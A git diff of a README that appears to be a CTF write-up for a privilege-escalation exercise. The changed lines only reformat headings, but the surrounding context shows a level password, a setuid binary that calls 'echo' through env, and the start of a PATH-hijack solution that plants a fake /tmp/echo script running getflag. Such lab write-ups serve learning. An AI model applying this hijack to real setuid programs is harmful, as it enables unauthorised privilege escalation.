diff --git a/README.mdx b/README.mdx
index 9cd82f2..1033574 100644
--- a/README.mdx
+++ b/README.mdx
@@ -186,8 +186,9 @@ Password: ft_waNDReL0L
 
 # 03
 
-- inspect
-  - available actions - `file` `readelf` `strings` ：❌ `ltrace` ✅ 
+- Inspect
+  - ❌ `file` `readelf` `strings` 
+  - ✅ `ltrace` 
 ```b
 > ls -l
 -rwsr-sr-x 1 flag03 level03 8627 level03
@@ -219,7 +220,7 @@ system("/usr/bin/env echo Exploit me" ...
 getflag: /bin/getflag
 ```
 
-- solution
+- Solution
 
 ```b
 > echo -e "#\!/bin/bash\n/bin/getflag" > /tmp/echo